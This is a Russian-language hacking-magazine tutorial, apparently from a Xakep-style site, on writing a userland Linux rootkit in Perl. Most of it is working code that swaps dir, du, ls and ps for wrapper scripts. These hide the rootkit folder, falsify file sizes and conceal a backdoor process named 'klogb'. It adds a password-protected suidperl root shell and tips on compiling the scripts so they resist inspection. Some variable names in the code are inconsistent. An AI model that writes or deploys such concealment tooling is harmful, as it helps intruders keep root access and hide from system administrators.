Для начала, думаю, следует разобраться, что вообще такое rootkit и чем отличается kernel rootkit
от non-kernel. Если мыслить несколько абстрактно, то rootkit - это средство, позволяющее удержать
максимальные права в системе и остаться незамеченным. Думаю это всем понятно. А чем же тогда
отличается kernel (ядерный) от non-kernel (не ядерный)? Ядерный руткит представляет собой подгружаемый
модуль ядра системы, который перехватывает системные вызовы пользователя, тем самым контролируя и
утаивая от администратора информацию о действиях того, кто этот модуль установил и использует. Обычно
для разных ядер нужны свои руткиты, так как в разных ядрах разные адреса системных функций, которые
контролирует руткит. В данной же статье я поведаю как написать несложный не ядерный руткит, скрывающий
от посторонних глаз : во-первых, свои собственные файлы, во-вторых, процессы, запущенные нами и наконец,
в-третьих, наши подключения к бекдору.

Сразу скажу, что я не буду переписывать такие утилиты как ls, ps, netstat для того, чтобы скрыть
присутствие руткита в системе. Я поступлю намного проще, хотя и намного не безопаснее - я просто заменю
эти утилиты скриптами, обрабатывающими аргументы, посылаемые с консоли, команды, далее перенаправляющие
их оригинальной утилите, установленной в системе, затем получающие от неё ответ, обрабатывающие его и
выводящие пользователю обратно на консоль. Хотя можно поступить и по-другому. Можно просто в параметр
PATH файла /root/.bash_profile добавить путь до нашего каталога со скриптами, обрабатывающими ответы
утилит. То есть файлы руткита не сможет увидеть только тот, кто залогиниться в систему под пользователем,
чей .bash_profile есть /root/.bash_profile. Так что если ты уверен, что кроме тебя в системе никто права
рута не получит, то можешь выбрать и второй вариант.

Первым делом необходимо всё проанализировать и понять с чего начинать писать свой руткит. Я
разделю написание на три этапа :

1) создание программ, скрывающих файлы руткита;
2) создание программ, скрывающих процессы;
3) написание нескольких скриптов для удобства работы с руткитом.

Итак, приступим. Как уже говорилось ранее, я не собираюсь переписывать утилиты присутствующие в системе.
Я просто перемещу их. Я создаю папку rootkit в каталоге /bin и буду перемещать туда утилиты по мере
необходимости. То есть если нужно мне заменить ls, я перемещаю оригинальную ls в папку /bin/rootkit, а
на место прежней ставлю свой скрипт.

Начнём с создания программ, скрывающих файлы будущего руткита. То есть нам нужно заменить такие
утилиты как ls , dir и du. Начнём с dir и du, их написание наиболее просто в данной категории.
Сразу же зададим какой-нибудь переменной путь до папки, в которой лежат оригинальные утилиты и находятся
некоторые файлы руткита.

$kit_path="/bin/rootkit";

Эта строка, кстати, будет присутствовать почти во всех файлах нашего будущего руткита.
Первым делом необходимо написать код, проверяющий входные аргументы. То есть если кто-то запустит утилиту
dir с параметром /bin/rootkit, то в ответ ему выведется не атрибуты нашей папки, а сообщение указывающие
на то что папка не существует. Данный код достаточно легко реализовать :

$pwd=`pwd`; # определяем местонахождение пользователя в системных каталогах
foreach $arg(@ARGV) #
проверяем каждый элемент массива параметров запуска
{
if(($arg eq "/bin/rootkit/") || ($arg eq "rootkit")&&($pwd eq "bin"))
#
если аргумент равен /bin/rootkit -
#
расположение нашей папки с руткитом, то выполняем следующее
{print "dir : $arg : No such file or directory\n";exit();}
#
выводим на экран сообщение о том что такой папки или файла не 
#
существует
}

После запускаем утилиту dir с параметрами, которые поступили нашему скрипту.

$dir=`/bin/rootkit/dir @ARGV`;

В переменную $sher записались все данные, которые выдала утилита dir после окончания своей работы. Теперь
перед тем, как выводить данные пользователю, необходимо проверить их на существования данных о файлах
нашего руткита. То есть если юзер запустит утилиту dir для папки /bin, в ответе он не должен увидеть папку
/bin/rootkit.

Мы остановились в нашем коде на том, что записали в переменную $dir выходные данные с утилиты dir. Теперь
нужно эти данные грамотно обработать и вывести пользователю.

@dirz=split(/ /,$dir); # делим переменную $dir на несколько, деля её
#
символами 2-х пробелов и заносим получившиеся переменные в массив @dirz

Начинаем проверку данных, и, если потребуется, замену :

$count=0;
foreach $dirz(@dirz)
{
$count++;
if ($dirz =~ /$kit_path/){$dirz=""} #
проверяем на наличие в ответе /bin/rootkit
if (($dirz =~ /rootkit/)&&($pwd=="/bin")){$dirz=""} #
проверяем на наличие в ответе rootkit
if ($count == scalar(@dirz) ){print "$dirz";exit();} #
тонкость графической
реализации вывода =)
print "$dirz ";
}

Что ж, могу тебя обрадовать - скрипт, управляющий выходными данными с утилиты dir, готов. Осталось только
переместить оригинальную утилиту dir в папку /bin/rootkit, а на её место скопировать только что написанную
нами программу. В дальнейшем, то есть после того, как все файлы нашего руткита будут готовы, ты должен их
скрыть. В случае если ты перл не знаешь, или знаешь очень плохо, то тебе понадобиться умение правильно
программировать методом copy & paste, и подправить немного пути до программ. Напишем на примере dir, программы
обрабатывающие выходные данные с утилит du и ls.

Приступим к du. Описывать весь код я не вижу смысла. Алгоритм, я думаю, все уже поняли. Первым делом проверяем аргументы,
далее запускаем программу, получаем ответ, обрабатываем и выводим
пользователю. Скелетом для du может послужить
наш скрипт dir. А теперь основное : утилита du, а также ls, выдают информацию о размере файла в системе, а также
некоторые индивидуальные для каждого файла атрибуты. То есть если кто-нибудь выполнит команду du /bin или ls -l
/bin, то скорее всего наш руткит будет рассекречен, так как размеры всех переделанных нами утилит естественно будут не совпадать
с размерами оригиналов. Вот это нам и нужно скрыть.
Так как мы пока не знаем какие точно файлы нам необходимо скрыть, то будем делать универсальный код, что бы в него
в любой момент было можно что-то быстро дописать и главное, что бы это всё работало.

@fake_tools=("/usr/bin/dir","/usr/bin/du"); # заносим в массив файлы, информацию о которых необходимо
#
корректировать

Теперь напишем универсальную функцию для всех "фейковых" файлов :

sub checkz { #функция checkz()
@fak=split(/\//,$fake); #
разбиваем символом "/" путь до фейковой тулзы

if (scalar(@fak)==3){$fak[3]=$fak[2];$fak[2]=$fak[1]} # если в массиве @fak 3 элемента, то есть
#
если мы рассматриваем утилиту dir - её путь
#
/usr/bin/dir, то в массив заноситься 4 элемента,
#
а если мы будем рассматривать /bin/ls например, то
#
в массиве будет уже 3 элемента. данный код делает
#
незначимым количество аргументов для последующих
#

действий над ними

if (($arg=~/$fak[3]/)&&($pwd eq "/$fak[1]/$fak[2]") || ($arg eq "$fake")) #
где $arg - аргумент запуска
#
или строка в ответе dir

{$diz=`/bin/rootkit/du $kit_path/$fak[3]`; #
достаём данные об оригинале

@ediz=split(/\t/,$diz);
if ($duz=~/$fak[3]/)
{print "$ediz[0]\t$fak[3]\n";exit();} #
выводим чать данных об оригинале
#
и часть данных о фейковой утилите
if ($duz=="$fake")
{print "$ediz[0]\t$fake\n";exit();}
}
}

Абсолютно такой же код вы можете использовать и в ls. Только
придется немного подправить вывод уже фейкового
ls'а. Реализацию фейкового ls вы можете найти в архиве со всем исходным кодом руткита, находящимся на диске.
Если возникнет желание написать какие-то другие фейк программы, то вам без труда это удастся, воспользовавшись
алгоритмом, изложенным выше.

Итак, поздравляю, третья часть нашего руткита готова. Приступим к скрытию наших процессов. Для этого
нам необходимо сделать фейк утилиту ps.

#!/usr/bin/perl
$kit_path="/bin/rootkit";
$proc="klogb"; #
имя процесса бекдора в системе
$t=0;
@ps=`/bin/ps @ARGV`;

foreach $arg(@ARGV)
{if ($arg=~/$proc/){$arg=""}}

foreach $ps(@ps)
{if ($ps=~/$proc/){$ps=""} #
если есть наш бекдор, то не выводим
if ($ps=~/$kit_path/){$ps=""} #
если запущенный процесс из папки, то не выводим
if (($ps=~/perl/) && ($ps=~/ps/)){$ps=""} #
при запуске /bin/ps в системе появятся 2 новых процесса
#это perl /bin/ps и ps, perl /bin/ps убираем =)
if ($ps=~/$kit_path\/ps/)
{@pss=split(/ /,$ps);foreach $pss(@pss) #
вместо отображаемого /bin/rootkit/ps делаем просто ps
{if ($pss=~/ps/){$pss="ps"}$t++;
if ($t==scalar(@pss)) {print "$pss"}
else {print "$pss ";}};}
else {print "$ps";}}

Фейк ps готов к употреблению глупыми пользователями.

Теперь напишем пару скриптов для
удобства работы в системе. Например, нам необходим суидный шелл. Не буду
изобретать велосипед и предложу вам использовать скрипт опубликованный Форбом в одном из прошедших номеров.

#!/usr/bin/suidperl -U
foreach $arg(@ARGV)
{if ($arg eq "-suid_r0x") #
проверка пароля
{while (1){
print "[root\@owned] ";
chomp($cmd=<STDIN>);
print `$cmd`;}
}
else {print "No such file or directory\n";exit()}
}

И не забудьте ему присвоить +s 🙂

Немного фантазии и руткит готов. Ну а что если кто-то захочет сделать cat для /bin/ls например? Он увидит наш перл скрипт. Для того, что
бы с первого раза никто не понял в чём подвох, необходимо просто скомпилировать наши перл скрипты в бинарные
файлы утилитой perlcc, которая присутствует во всех *nix подобных системах. Теперь если кто-то сделает cat
/bin/ls, то он увидит множество символов неизвестного обычному пользователю алфавита. Кстати, после того, как все файлы готовы,
для их запуска тебе необходимо установить на них 755 бит командой chmod 755 file, для того чтобы они стали
исполняемыми. И, в конце концов, когда весь сырой код отлажен, делай смело install.pl и иди хвастайся друзьям своим
самописным l33t-0day 4ll n!x k3n3l r00tk!t0m.

Удачи.

Исходники

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии